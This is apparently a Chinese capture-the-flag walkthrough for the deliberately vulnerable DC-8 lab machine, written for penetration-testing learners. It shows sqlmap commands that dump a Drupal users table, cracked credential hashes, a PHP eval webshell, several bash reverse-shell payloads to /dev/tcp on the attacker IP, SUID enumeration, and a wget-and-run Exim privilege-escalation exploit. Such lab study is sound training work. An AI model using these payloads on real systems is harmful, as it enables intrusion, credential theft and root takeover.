简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-8(包含1个flag)
下载地址:
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
| |
导入成功,开启此虚拟机( 当页面出现 DC-8 login 时表示安装成功)。
3、获取靶机的flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 | 2、DC-8和kali在同一网段 | 已知DC-8所在的网段 —— DC-8 IP地址:192.168.108.141/24 |
3.1信息收集
获取DC-8的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知DC-8的IP地址是:192.168.108.141/24
端口扫描
命令:nmap -sV -p- 192.168.108.141
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描,-O:扫描操作系统
获取信息如下(操作系统:Linux 3.2-4.9):
端口号 | 服务 | 版本 |
22 | ssh | 7.4p1 |
80 | http | Apche |
3.2 渗透测试
打开web进行查看
这是和DC-7一样的CMS(Drupal)
确认CMS(使用工具:CMSeek)
CMS:Drupal | 版本:7 |
目录扫描
dirb http://dc-8
在主页随便点击之后发现 ?nid=1 的传参,直接上sqlmap测试是否存在常规的sql注入
sqlmap的使用
qlmap -u "http://dc-8/?nid=*" #测试是否崔在SQL注入
qlmap -u "http://dc-8/?nid=*" --is-db #测试当前注入权限是否是最高权限
sqlmap -u "http://dc-8/?nid=*" --current-use #查看当前用户
sqlmap -u "http://dc-8/?nid=*" --current-db #查看当前数据库
sqlmap -u "http://dc-8/?nid=*" --tables -D "d7db" #查看d7db(当前数据库)下的所有表名
sqlmap -u "http://dc-8/?nid=*" --columns -T "users" -D "d7db" #查看users表中的所有列名
sqlmap -u "http://dc-8/?nid=*" --dump -C "uid,name,pass,mail,login" -T "users" -D "d7db"
#查看选定字段(uid、name、pass、mail、login)中的所有数据
这里我们获取到了两个账号的数据
admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
在这里使用 john(哈希工具)尝试跑一下密码
爆破出来密文:turtle
想偷个懒,看看能不能直接账号对 DC-8 进行ssh登录,结果没成功,只能想办法获取webshell了
在后台登陆页面进行登录(http://dc-8/user),成功使用用户 john(密码:turtle)登录进后台管理页面
在后台管理页面处看到有可以加载php代码的地方,先使用phpinfo进行测试
<p>xjizhi</p>
<?php
phpinfo();
?>
植入一句话(<?php @eval($_POST['webshell']);?>)
使用蚁剑连接失败(http://192.168.108.141/node/3/done?sid=5),没有权限,所以只能执行php代码进行反弹shell,使用第四条成功( system("bash -i > /dev/tcp/192.168.108.129/6868 0>&1"); )
PHP反弹 shell(Post 请求发送命令) |
<?php system("id");?> <?php echo shell_exec($_GET["cmd"] );exit; ?> <?php system("bash -i >& /dev/tcp/192.168.108.129/6868 0>&1");?> #post获取shell <?php system("bash -i > /dev/tcp/192.168.108.129/6868 0>&1");?> #交互式shell <?php system("bash -c 'sh -i &>/dev/tcp/192.168.108.129/6868 0>&1'");?> #交互式shell |
老套路了,顺手改善一下shell交互的环境
python -c "import pty;pty.spawn('/bin/bash')"
查看是否存在suid提权
find / -perm -4000 -type f 2>/dev/null
补充:
- SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限,若是对一些特殊命令设置了SUID,那么将会有被提权的风险
- 常用的SUID提权命令有:nmap、vim、find、bash、more、less、nano、cp等。
- sudo和SUID的区别
- sudo是给某个用户或者组授予执行某些命令的权限,权限在人身上
- SUID是给命令赋予root用户的权限,权限在命令上
查讯结果可以看出在使用exim4时具有root权限
进一步查看命令exim4命令版本
exim4 --version(查询结果:Exim version 4.89)
在漏洞库里面寻找可利用的漏洞
searchsploit exim 4.89
直接找没找到可以本地提权的漏洞,扩大一下范围直接找exim的漏洞(searchsploit exim )
查看脚本文件,发现了两个使用脚本提权的方式:
将脚本复制到桌面,使用靶机下载脚本文件
cp /usr/share/exploitdb/exploits/linux/local/46996.sh dc-8.sh
python2 -m SimpleHTTPServer 9999
wget http://192.168.108.129:9999/dc-8.sh
执行脚本
./dc-8.sh -m netcat
点击
下方名片
,加入GG安全团队,期待师傅们的加入,一起学习一起成长。